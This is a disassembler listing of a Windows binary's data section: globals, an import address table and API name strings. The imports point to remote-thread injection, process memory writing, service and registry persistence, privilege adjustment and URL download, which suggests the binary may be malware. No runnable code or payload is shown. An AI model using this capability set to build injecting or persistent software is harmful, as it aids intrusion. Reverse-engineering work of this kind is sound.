dword_4111A4	dd 50h			; DATA XREF: sub_407D70:loc_407DA7r
					; sub_407D70+3Fw ...
dword_4111A8	dd 0			; DATA XREF: sub_407D70:loc_407DC7r
					; sub_407D70+5Dw ...
dword_4111AC	dd 0			; DATA XREF: sub_407100+18Ew
					; sub_407100+1B1r ...
		dd 6 dup(0)
		dd 95FFF8h, 0
dword_4111D0	dd 95FFFCh		; DATA XREF: sub_407480+38r
					; sub_407F60+8Br ...
dword_4111D4	dd 950004h		; DATA XREF: sub_407480+30r
					; sub_407F60+C1r ...
dword_4111D8	dd 950000h		; DATA XREF: sub_407F60+97r
					; sub_407F60:loc_408004r ...
dword_4111DC	dd 8			; DATA XREF: sub_407100+66r
					; sub_407100+10Br ...
dword_4111E0	dd 10h			; DATA XREF: sub_407100+5Dr
					; sub_407100+FEr ...
dword_4111E4	dd 20h			; DATA XREF: sub_407100:loc_407178r
					; sub_407100+121r ...
dword_4111E8	dd 40h			; DATA XREF: sub_407100+54r
					; sub_407100+F1r ...
dword_4111EC	dd 80h			; DATA XREF: sub_407100+99r
					; sub_407100+14Ar ...
dword_4111F0	dd 100h			; DATA XREF: sub_407100:loc_407190r
					; sub_407100+13Dr ...
dword_4111F4	dd 200h			; DATA XREF: sub_407100:loc_4071AEr
					; sub_407100+163r ...
		dd 400h
dword_4111FC	dd 7			; DATA XREF: sub_407100+19Cr
					; sub_407100:loc_4072A6w ...
dword_411200	dd 7			; DATA XREF: sub_407100+361w
					; sub_407F60+175w ...
dword_411204	dd 19930520h, 3	dup(0)	; DATA XREF: DMN0:00408912o
					; sub_408919+2o ...
off_411214	dd offset dword_412840	; DATA XREF: sub_408A30r
					; sub_408A70:loc_408A76r ...
off_411218	dd offset dword_412828	; DATA XREF: sub_408A30+Cr
					; sub_408A70+38r ...
off_41121C	dd offset dword_412810	; DATA XREF: sub_408A30+18r
					; sub_408A70+44r ...
off_411220	dd offset dword_4127F8	; DATA XREF: sub_408A30+24r
					; sub_408A70+50r ...
		dd 5 dup(0)
dword_411238	dd 0			; DATA XREF: sub_408DF0r sub_408DF0+9r ...
dword_41123C	dd 0			; DATA XREF: DMN0:00408E20r
					; DMN0:00408E29r ...
		dd 14h dup(0)
dword_411290	dd 1, 0			; DATA XREF: DMN0:off_411374o
		dd offset byte_4112D8
		dd offset byte_4112D9
		dd offset byte_4112D8
		dd offset byte_4112D8
		dd offset byte_4112D8
		dd offset byte_4112D8
		dd offset dword_4112B8
		align 8
dword_4112B8	dd 8 dup(0)		; DATA XREF: DMN0:004112B0o
byte_4112D8	db 0			; DATA XREF: DMN0:00411298o
					; DMN0:004112A0o ...
byte_4112D9	db 3 dup(0)		; DATA XREF: DMN0:0041129Co
dword_4112DC	dd 802h, 1, 411324h, 411325h, 4	dup(411324h), 411304h
					; DATA XREF: DMN0:00411378o
		dd 0Ah dup(0)
dword_411328	dd 802h, 2, 411240h, 411290h, 3	dup(411240h), 411370h
					; DATA XREF: sub_40C050+E5o
					; sub_40C050:loc_40C147o ...
		dd 411350h, 0Ah	dup(0)
off_411374	dd offset dword_411290	; DATA XREF: sub_407770:loc_407773r
					; sub_407810:loc_40787Cr ...
		dd offset dword_4112DC
		dd offset dword_411328
		dd 0FDh	dup(0)
dword_411774	dd 11h			; DATA XREF: sub_407C00+2Ar
					; sub_409360+Cw ...
dword_411778	dd 0C0000005h, 0Bh, 0C000001Dh,	4, 0C0000096h, 4, 0C000008Dh
					; DATA XREF: sub_409530+7o
					; sub_44A99B+7o
		dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h,	8, 0C0000091h
		dd 8, 0C0000092h, 8, 0C0000093h, 8
dword_4117C8	dd 1			; DATA XREF: sub_409530:loc_409582o
					; sub_409AA0+82w ...
dword_4117CC	dd 95005Ch		; DATA XREF: sub_409AA0+87w
					; sub_44AF0B+87w
		dd 0
dword_4117D4	dd 950078h		; DATA XREF: sub_409B40+55w
					; sub_409B40+5Ar ...
		dd 0
dword_4117DC	dd 950000h		; DATA XREF: sub_409C40+Cr
					; sub_409C40+2Aw ...
dword_4117E0	dd 2000000h		; DATA XREF: sub_407E30+31w
					; sub_409C40+1Cr ...
dword_4117E4	dd 400h			; DATA XREF: sub_407F60+2Ew
					; sub_408530+2Dr ...
dword_4117E8	dd 2Ch dup(0)		; DATA XREF: sub_4093F0+16o
					; sub_409490+5Co ...
off_411898	dd offset dword_40FB5C	; DATA XREF: sub_409B40+16r
					; sub_409B40+A2r ...
off_41189C	dd offset word_40FB6A	; DATA XREF: sub_408B70+160r
					; sub_408B70+1BBr ...
dword_4118A0	dd 0			; DATA XREF: sub_40B0E0+99r
					; sub_40B0E0:loc_40B198w ...
byte_4118A4	db 3			; DATA XREF: sub_40B240+2Ar
					; sub_40C270+14Ar ...
		align 4
		dd offset word_40FE46
		dd 0Fh dup(0)
		dd offset word_40FE46
		dd 0Fh dup(0)
off_411928	dd offset word_40FE46	; DATA XREF: sub_409CE0+20r
					; sub_409CE0+19Cr ...
		dd 0Fh dup(0)
off_411968	dd offset word_40FE46	; DATA XREF: sub_40C270+13Cr
					; sub_44D6DB+13Cr
		dd 0Fh dup(0)
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd offset byte_4101CC
		dd 3 dup(7F7F7F7Fh), 7F7Fh
off_4119D4	dd offset byte_4101CD	; DATA XREF: sub_40C740+7r
					; sub_44DBAB+7r
		dd offset byte_4101CC
		dd offset byte_4101CC
dbl_4119E0	dq 1.797693134862316e308 ; DATA	XREF: sub_40D320+8Ar
					; sub_40D320:loc_40D3B7r ...
		dd 0
		dd 7FF80000h, 0
		dd 3C900000h, 0
		dd 3E400000h, 0
		dd 40320000h, 2	dup(0)
		dd 11A88h, 2 dup(0)
		dd 122B2h, 11CC8h, 11BE8h, 2 dup(0)
		dd 124B6h, 11E28h, 11C4Ch, 2 dup(0)
		dd 12520h, 11E8Ch, 11CACh, 2 dup(0)
		dd 12540h, 11EECh, 11CB4h, 2 dup(0)
		dd 1259Ch, 11EF4h, 5 dup(0)
		dd 11F08h, 11F18h, 11F34h, 11F4Ch, 11F64h, 11F74h, 11F84h
		dd 11F9Ah, 11FA8h, 11FBEh, 11FCEh, 11FDEh, 11FF0h, 12004h
		dd 12012h, 12024h, 1202Ch, 12042h, 12052h, 12060h, 12072h
		dd 12082h, 12090h, 120A0h, 120B4h, 120C0h, 120D6h, 120F0h
		dd 120FEh, 12114h, 12120h, 1212Ch, 1213Ch, 12148h, 12162h
		dd 12178h, 12186h, 12196h, 121A8h, 121B8h, 121C8h, 121DCh
		dd 121EEh, 12202h, 12214h, 1222Ah, 12240h, 1224Eh, 12262h
		dd 1227Eh, 12290h, 122A0h, 125A8h, 125B8h, 125C6h, 125D6h
		dd 125E6h, 125F4h, 12606h, 12612h, 12620h, 1262Eh, 1263Ah
		dd 12648h, 12654h, 12660h, 12670h, 12688h, 12696h, 126A2h
		dd 126B8h, 126C2h, 126D0h, 126ECh, 12706h, 12714h, 12726h
		dd 12738h, 12750h, 1276Ah, 1277Ah, 1278Ah, 12796h, 127A6h
		dd 127BEh, 127D0h, 127DCh, 0
		dd 122C0h, 122D2h, 122E4h, 122F2h, 12302h, 12312h, 12332h
		dd 1234Eh, 1235Eh, 12370h, 12380h, 12396h, 123ACh, 123C4h
		dd 123DCh, 123ECh, 123FEh, 1240Eh, 12422h, 12436h, 12454h
		dd 12472h, 1248Ah, 1249Eh, 0
		dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h
		dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h
		dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h
		dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh
		dd 80000014h, 80000011h, 8000006Fh, 0
		dd 1252Ch, 0
		dd 1254Eh, 1255Eh, 12572h, 12588h, 0
dword_411CC8	dd 77E7751Ah		; DATA XREF: sub_401001:loc_40100Br
					; sub_402562+6r ...
dword_411CCC	dd 77E79908h		; DATA XREF: sub_40103C+5r
					; sub_401097+5r ...
dword_411CD0	dd 77F7E21Fh		; DATA XREF: sub_401048+9r
					; sub_401076+5r ...
dword_411CD4	dd 77F7E300h		; DATA XREF: sub_401048+23r
					; sub_401076+1Ar ...
dword_411CD8	dd 77E79C3Dh		; DATA XREF: DMN0:004010C1r
					; sub_409630+1B2r ...
dword_411CDC	dd 77E70F89h		; DATA XREF: DMN0:0040117Cr
					; DMN1:004425E7r
dword_411CE0	dd 77E7A099h		; DATA XREF: sub_402296+18r
					; DMN0:00402353r ...
dword_411CE4	dd 77E79881h		; DATA XREF: sub_40238A+14r
					; sub_405C00+Dr ...
dword_411CE8	dd 77E77797h		; DATA XREF: sub_4023DC:loc_4023FBr
					; sub_443847+1Fr
dword_411CEC	dd 77F5157Dh		; DATA XREF: sub_4023DC+2Br
					; sub_403604+2Dr ...
dword_411CF0	dd 77E74D76h		; DATA XREF: sub_4023DC+44r
					; sub_402449+29r ...
dword_411CF4	dd 77E75090h		; DATA XREF: sub_4023DC+62r
					; sub_402449+47r ...
dword_411CF8	dd 77E7C815h		; DATA XREF: sub_402449+11r
					; sub_4024A6+12r ...
dword_411CFC	dd 77E77963h		; DATA XREF: sub_402449+51r
					; sub_4024A6+5Er ...
dword_411D00	dd 77E762D0h		; DATA XREF: sub_402511+33r
					; sub_40571E+33r ...
dword_411D04	dd 77E61BE6h		; DATA XREF: sub_402562+32r
					; sub_40356A+Br ...
dword_411D08	dd 77E775F1h		; DATA XREF: sub_40356A+5Dr
					; sub_40356A+8Br ...
dword_411D0C	dd 77E7C2C4h		; DATA XREF: sub_403604+19r
					; DMN0:004036BBr ...
dword_411D10	dd 77E8074Ah		; DATA XREF: sub_403658+10r
					; sub_4036F6+10r ...
dword_411D14	dd 77E61BB8h		; DATA XREF: sub_403723+DCr
					; DMN0:0040501Er ...
dword_411D18	dd 77F51587h		; DATA XREF: sub_403838+BDr
					; sub_409420+59r ...
dword_411D1C	dd 77E73628h		; DATA XREF: sub_403838+13Br
					; sub_40399A+1ACr ...
dword_411D20	dd 77E6AD34h		; DATA XREF: sub_40399A+3Cr
					; sub_40399A+93r ...
dword_411D24	dd 77E6AF8Fh		; DATA XREF: sub_40399A+57r
					; sub_40399A+AEr ...
dword_411D28	dd 77E6BD13h		; DATA XREF: sub_40399A+C4r
					; sub_406A81+18Fr ...
dword_411D2C	dd 77E70396h		; DATA XREF: sub_40399A+DEr
					; sub_406183+8Ar ...
dword_411D30	dd 77E76B5Ch		; DATA XREF: sub_403C3F+31Cr
					; DMN1:004453C6r
dword_411D34	dd 77E75CB5h		; DATA XREF: sub_403FEA+10r
					; sub_409520+5r ...
dword_411D38	dd 77E79D5Bh		; DATA XREF: sub_40400E+23r
					; sub_405C00+E5r ...
dword_411D3C	dd 77E76A2Eh		; DATA XREF: sub_4040C3+36r
					; sub_405441+B5r ...
dword_411D40	dd 77E73BEFh		; DATA XREF: sub_4052BA+A7r
					; sub_446725+A7r
dword_411D44	dd 77E737DEh		; DATA XREF: DMN0:0040569Er
					; sub_405C00+51r ...
dword_411D48	dd 77E74A3Bh		; DATA XREF: DMN0:004056ABr
					; sub_406010+65r ...
dword_411D4C	dd 77E74C59h		; DATA XREF: sub_405C00+C7r
					; sub_44706B+C7r
dword_411D50	dd 77E74CABh		; DATA XREF: sub_405F73+14r
					; sub_406A81+28Dr ...
dword_411D54	dd 77E74A69h		; DATA XREF: sub_406010+11r
					; sub_4067B2+7r ...
dword_411D58	dd 77E6CA8Ah		; DATA XREF: sub_406183+31r
					; sub_4475EE+31r
dword_411D5C	dd 77E7105Fh		; DATA XREF: sub_406183+44r
					; sub_4475EE+44r
dword_411D60	dd 77E760B5h		; DATA XREF: sub_406183+5Fr
					; sub_4475EE+5Fr
dword_411D64	dd 77E7C931h		; DATA XREF: sub_406183+73r
					; sub_4475EE+73r
dword_411D68	dd 77E79C90h		; DATA XREF: sub_4063D2+1Br
					; sub_409630+1D3r ...
dword_411D6C	dd 77E79824h		; DATA XREF: sub_40644C+21r
					; sub_4478B7+21r
dword_411D70	dd 77E79F93h		; DATA XREF: sub_40644C+7Ar
					; sub_407E30+9Ar ...
dword_411D74	dd 77E7A5FDh		; DATA XREF: sub_40644C+91r
					; sub_40644C+A2r ...
dword_411D78	dd 77E61A90h		; DATA XREF: sub_40644C+E6r
					; sub_4478B7+E6r
dword_411D7C	dd 77E7AA83h		; DATA XREF: sub_40644C+11Dr
					; sub_4478B7+11Dr
dword_411D80	dd 77E706B7h		; DATA XREF: sub_406576+15r
					; sub_4479E1+15r
dword_411D84	dd 77E6C9E0h		; DATA XREF: sub_406576+5Cr
					; sub_4479E1+5Cr
dword_411D88	dd 77EBB1E7h		; DATA XREF: sub_40702Cr sub_448497r
dword_411D8C	dd 77EBA595h		; DATA XREF: sub_407032r sub_44849Dr
dword_411D90	dd 77EBA6E9h		; DATA XREF: sub_407038r sub_4484A3r
dword_411D94	dd 77E7C938h		; DATA XREF: sub_406A81+44r
					; sub_409AA0+Br ...
dword_411D98	dd 77E99078h		; DATA XREF: sub_4075B0+1Br
					; DMN1:00448A36r
dword_411D9C	dd 77E79B39h		; DATA XREF: sub_407C00+30r
					; sub_409360+31r ...
dword_411DA0	dd 77E7AC37h		; DATA XREF: sub_407CA0+38r
					; sub_44910B+38r
dword_411DA4	dd 77E6E154h		; DATA XREF: sub_407CA0+54r
					; sub_44910B+54r
dword_411DA8	dd 77E73C49h		; DATA XREF: sub_407D30+30r
					; sub_44919B+30r
dword_411DAC	dd 77E6177Ah		; DATA XREF: sub_407E30+92r
					; sub_409630+5Er ...
dword_411DB0	dd 77F6183Eh		; DATA XREF: sub_40D7B0r sub_44EC1Br
dword_411DB4	dd 77E7C726h		; DATA XREF: sub_408940+9r
					; sub_449DAB+9r
dword_411DB8	dd 77E76E0Bh		; DATA XREF: DMN0:00408966r
					; DMN1:00449DD1r
dword_411DBC	dd 77F516F8h		; DATA XREF: sub_408980+Dr
					; sub_449DEB+Dr
dword_411DC0	dd 77F5722Fh		; DATA XREF: DMN0:004089B3r
					; DMN1:00449E1Er
dword_411DC4	dd 77F51597h		; DATA XREF: sub_4089C0+Dr
					; sub_449E2B+Dr
dword_411DC8	dd 77F522F2h		; DATA XREF: DMN0:004089EFr
					; DMN1:00449E5Ar
dword_411DCC	dd 77E6C924h		; DATA XREF: DMN0:00408A1Dr
					; DMN1:00449E88r
dword_411DD0	dd 77F53275h		; DATA XREF: sub_408A70+12r
					; sub_408A70+32r ...
dword_411DD4	dd 77E7A837h		; DATA XREF: sub_408DF0+23r
					; DMN0:00408E43r ...
dword_411DD8	dd 77E7C5B4h		; DATA XREF: sub_409360+6r
					; sub_44A7CB+6r
dword_411DDC	dd 77E77CC4h		; DATA XREF: sub_409360+46r
					; sub_409420+42r ...
dword_411DE0	dd 77E72B29h		; DATA XREF: DMN0:004093D7r
					; DMN1:0044A842r
dword_411DE4	dd 77E78B61h		; DATA XREF: sub_409420+10r
					; sub_409490+1Br ...
dword_411DE8	dd 77EB9A84h		; DATA XREF: sub_409530+5Fr
					; sub_44A99B+5Fr
dword_411DEC	dd 77E6167Bh		; DATA XREF: sub_4095D0+5r
					; DMN0:004095EBr ...
dword_411DF0	dd 77E78406h		; DATA XREF: sub_409630+130r
					; sub_409630+1C6r ...
dword_411DF4	dd 77E79CE3h		; DATA XREF: sub_409630+1F5r
					; sub_44AA9B+1F5r
dword_411DF8	dd 77E7C931h		; DATA XREF: sub_409630+24Ar
					; sub_44AA9B+24Ar
dword_411DFC	dd 77E67702h		; DATA XREF: sub_409B40+9r
					; sub_44AFAB+9r
dword_411E00	dd 77E9C5B1h		; DATA XREF: sub_409B40+B0r
					; sub_44AFAB+B0r
dword_411E04	dd 77E7980Ah		; DATA XREF: sub_409C40+24r
					; sub_409C40+8Ar ...
dword_411E08	dd 77E7F044h		; DATA XREF: sub_409C40+3Fr
					; sub_44B0AB+3Fr
dword_411E0C	dd 77E79D8Ch		; DATA XREF: sub_40AA00+F5r
					; sub_40AA00+15Br ...
dword_411E10	dd 77E7FF2Eh		; DATA XREF: sub_40ADA0+4Cr
					; sub_40ADA0+5Br ...
dword_411E14	dd 77E76968h		; DATA XREF: sub_40B0E0+A9r
					; sub_44C54B+A9r
dword_411E18	dd 77E78C81h		; DATA XREF: sub_40C180+34r
					; sub_44D5EB+34r
dword_411E1C	dd 77E78B82h		; DATA XREF: sub_40CC20+C4r
					; sub_40CC20+249r ...
dword_411E20	dd 77E70192h		; DATA XREF: sub_40CFE0+10Cr
					; sub_44E44B+10Cr
		align 8
dword_411E28	dd 77DD590Bh		; DATA XREF: sub_402208+21r
					; sub_405517+63r ...
dword_411E2C	dd 77DD59F0h		; DATA XREF: sub_402208+43r
					; sub_405517+8Ar ...
dword_411E30	dd 77DD189Ah		; DATA XREF: sub_402208+4Cr
					; sub_40225E+2Er ...
dword_411E34	dd 77DD22EAh		; DATA XREF: sub_40225E+15r
					; sub_405441+5Cr ...
dword_411E38	dd 77DD839Fh		; DATA XREF: sub_40225E+25r
					; sub_4436C9+25r
dword_411E3C	dd 77DD6018h		; DATA XREF: sub_40238A+1Fr
					; sub_405C00+1Br ...
dword_411E40	dd 77DD6034h		; DATA XREF: sub_40238A+2Cr
					; sub_405C00+2Ar ...
dword_411E44	dd 77DDACABh		; DATA XREF: sub_4040C3+15r
					; sub_44552E+15r
dword_411E48	dd 77DDA20Bh		; DATA XREF: sub_405048+Br
					; sub_405092+12r ...
dword_411E4C	dd 77DE801Bh		; DATA XREF: sub_405048+1Fr
					; sub_405092+29r ...
dword_411E50	dd 77DDAB2Fh		; DATA XREF: sub_405048+2Cr
					; sub_405048+37r ...
dword_411E54	dd 77DDAC5Ch		; DATA XREF: sub_405092+47r
					; sub_4051E6+80r ...
dword_411E58	dd 77E2BC20h		; DATA XREF: sub_405103+22r
					; sub_44656E+22r
dword_411E5C	dd 77E2BE75h		; DATA XREF: sub_405103+6Dr
					; sub_4052BA+C3r ...
dword_411E60	dd 77DE8075h		; DATA XREF: sub_4051E6+9Cr
					; sub_446651+9Cr
dword_411E64	dd 77E2BF4Bh		; DATA XREF: sub_4052BA+4Dr
					; sub_446725+4Dr
dword_411E68	dd 77E2C1B3h		; DATA XREF: sub_4053FC+2Br
					; sub_446867+2Br
dword_411E6C	dd 77DD23D7h		; DATA XREF: sub_405441+92r
					; sub_40576F+71r ...
dword_411E70	dd 77DE7E48h		; DATA XREF: DMN0:00405D2Ar
					; DMN0:00405D3Dr ...
dword_411E74	dd 77DE1356h		; DATA XREF: DMN0:00405D81r
					; DMN1:004471ECr
dword_411E78	dd 77DE1EBDh		; DATA XREF: sub_405E59+35r
					; sub_4472C4+35r
dword_411E7C	dd 77DF7311h		; DATA XREF: sub_4063D2+11r
					; sub_44783D+11r
dword_411E80	dd 77DD5D20h		; DATA XREF: sub_4063D2+28r
					; sub_44783D+28r
dword_411E84	dd 77DDA595h		; DATA XREF: sub_4063D2+5Fr
					; sub_44783D+5Fr
		dd 0
dword_411E8C	dd 71AB41DAh		; DATA XREF: sub_40703Er sub_4484A9r
dword_411E90	dd 71AB1836h		; DATA XREF: sub_407044r sub_4484AFr
dword_411E94	dd 71AB3C22h		; DATA XREF: sub_40704Ar sub_4484B5r
dword_411E98	dd 71AD1072h		; DATA XREF: sub_407050r sub_4484BBr
dword_411E9C	dd 71AB1A6Dh		; DATA XREF: sub_407056r sub_4484C1r
dword_411EA0	dd 71AB1890h		; DATA XREF: sub_40705Cr sub_4484C7r
dword_411EA4	dd 71AB155Ah		; DATA XREF: sub_407062r sub_4484CDr
dword_411EA8	dd 71AB1746h		; DATA XREF: sub_407068r sub_4484D3r
dword_411EAC	dd 71AB3E5Dh		; DATA XREF: sub_40706Er sub_4484D9r
dword_411EB0	dd 71AB3ECEh		; DATA XREF: sub_407074r sub_4484DFr
dword_411EB4	dd 71AB5DE2h		; DATA XREF: sub_40707Ar sub_4484E5r
dword_411EB8	dd 71AB868Dh		; DATA XREF: sub_407080r sub_4484EBr
dword_411EBC	dd 71AB1746h		; DATA XREF: sub_407086r sub_4484F1r
dword_411EC0	dd 71AD1020h		; DATA XREF: sub_40708Cr sub_4484F7r
dword_411EC4	dd 71AB1AF4h		; DATA XREF: sub_407092r sub_4484FDr
dword_411EC8	dd 71AB12F8h		; DATA XREF: sub_407098r sub_448503r
dword_411ECC	dd 71AB2BBFh		; DATA XREF: sub_40709Er sub_448509r
dword_411ED0	dd 71AB157Eh		; DATA XREF: sub_4070A4r sub_44850Fr
dword_411ED4	dd 71AB32CAh		; DATA XREF: sub_4070AAr sub_448515r
dword_411ED8	dd 71AB401Ch		; DATA XREF: sub_4070B0r sub_44851Br
dword_411EDC	dd 71AB1ED3h		; DATA XREF: sub_4070B6r sub_448521r
dword_411EE0	dd 71AD2E5Fh		; DATA XREF: sub_4070BCr sub_448527r
dword_411EE4	dd 71AB1740h		; DATA XREF: sub_4070C2r sub_44852Dr
		dd 0
dword_411EEC	dd 76D67CDBh		; DATA XREF: sub_4070C8r sub_448533r
		dd 0
dword_411EF4	dd 7620AFB6h		; DATA XREF: sub_403838+19r
					; sub_444CA3+19r
dword_411EF8	dd 76214750h		; DATA XREF: sub_403838+48r
					; sub_444CA3+48r
dword_411EFC	dd 76204E4Dh		; DATA XREF: sub_403838+62r
					; sub_403838+94r ...
dword_411F00	dd 7620BD61h		; DATA XREF: sub_403838+F1r
					; sub_444CA3+F1r
		dd 0
		dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
		dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 654C0000h, 43657661h,	69746972h, 536C6163h, 69746365h
		dd 6E6Fh, 65470000h, 64745374h,	646E6148h, 656Ch, 65470000h
		dd 636F4C74h, 69546C61h, 656Dh,	65470000h, 646F4D74h, 46656C75h
		dd 4E656C69h, 41656D61h, 0
aLocalalloc	db 'LocalAlloc',0
		align 4
		dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h
		dd 0
aGetlasterror_0	db 'GetLastError',0
		align 10h
aMapviewoffile	db 'MapViewOfFile',0
		align 10h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h
		dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h
		dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh
		dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h
		dd 0
aOpenmutexa	db 'OpenMutexA',0
		align 10h
		dd 72430000h, 65746165h, 636F7250h, 41737365h, 0
aSetlasterror	db 'SetLastError',0
		align 4
aDeletefilea	db 'DeleteFileA',0
		dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h
		dd 6C694670h, 6D614E65h, 4165h,	6F430000h, 69467970h, 41656Ch
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aInterlockedexc	db 'InterlockedExchangeAdd',0
		align 10h
		dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h
		dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h
		dd 6E657645h, 4174h, 65530000h,	65764574h, 746Eh, 61570000h
		dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
		dd 0
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		dd 65520000h, 45746573h, 746E6576h, 0
aFindresourcea	db 'FindResourceA',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h
		dd 72756F73h, 6563h, 65470000h,	72754374h, 746E6572h, 636F7250h
		dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh
		dd 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
		dd 0
aCreateremoteth	db 'CreateRemoteThread',0
		align 10h
		dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h
		dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh
		dd 3233706Ch, 70616E53h, 746F6873h, 0
aProcess32first	db 'Process32First',0
		align 10h
		dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h
		dd 642E3233h, 6C6Ch, 65520000h,	65724367h, 4B657461h, 78457965h
		dd 41h,	53676552h, 61567465h, 4565756Ch, 4178h,	65520000h
		dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	44676552h, 74656C65h, 79654B65h, 41h, 74696E49h
		dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h
		dd 726F7470h, 0
aSetsecuritydes	db 'SetSecurityDescriptorDacl',0
		align 10h
aGetusernamea	db 'GetUserNameA',0
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0
		align 10h
		dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
		dd 69767265h, 61486563h, 656C646Eh, 0
aQueryservicest	db 'QueryServiceStatus',0
		align 4
		dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
		dd 4167h, 68430000h, 65676E61h,	76726553h, 43656369h, 69666E6Fh
		dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h
		dd 65746165h, 76726553h, 41656369h, 0
aDeleteservice	db 'DeleteService',0
		align 10h
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aSetservicest_2	db 'SetServiceStatus',0
		align 4
aRegisterserv_0	db 'RegisterServiceCtrlHandlerA',0
		dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h
		dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h
		dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 0
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
aS_1:
		unicode	0, <s>,0
aT:
		unicode	0, <t>,0
		dd 17h,	15h, 3,	12h, 0Ch, 9, 4,	2, 0Dh,	1, 0Fh,	10h, 13h
		dd 0Ah,	34h, 6,	39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh
		dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h
		dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0
aInternetopena	db 'InternetOpenA',0
		align 10h
aInternetopen_0	db 'InternetOpenUrlA',0
		align 4
aInternetcloseh	db 'InternetCloseHandle',0
		dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h
		dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh
		dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h
		dd 68546574h, 64616572h, 0
aResumethread	db 'ResumeThread',0
		align 4
aExitthread_0	db 'ExitThread',0
		align 4
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h
		dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h,	65480000h
		dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h
		dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h
		dd 6565h, 65480000h, 69537061h,	657Ah, 65480000h, 61567061h
		dd 6164696Ch, 6574h, 65440000h,	6574656Ch, 74697243h, 6C616369h
		dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h
		dd 41h,	41736C54h, 636F6C6Ch, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch
		dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
		dd 746C6946h, 7265h, 65470000h,	73795374h, 546D6574h, 41656D69h
		dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h
		dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h
		dd 6C646E61h, 756F4365h, 746Eh,	65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h
		dd 416C6175h, 636F6C6Ch, 0
aVirtualquery	db 'VirtualQuery',0
		align 4
aWritefile	db 'WriteFile',0
		align 4
aSetstdhandle	db 'SetStdHandle',0
		align 4
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		align 10h
aSetfilepointer	db 'SetFilePointer',0
		align 10h
		dd 65520000h, 69466461h, 656Ch,	65530000h, 646E4574h, 6946664Fh
		dd 656Ch
dword_4127EC	dd 960000h		; DATA XREF: sub_407F60+44r
					; sub_407F60+51r ...
dword_4127F0	dd 0			; DATA XREF: sub_407F60:loc_407F9Fr
					; sub_407F60+57r ...
dword_4127F4	dd 3F0000h		; DATA XREF: sub_408940+Fw
					; DMN0:00408960r ...
dword_4127F8	dd 14CF88h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_411220o
dword_412810	dd 14CF60h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: DMN0:off_41121Co
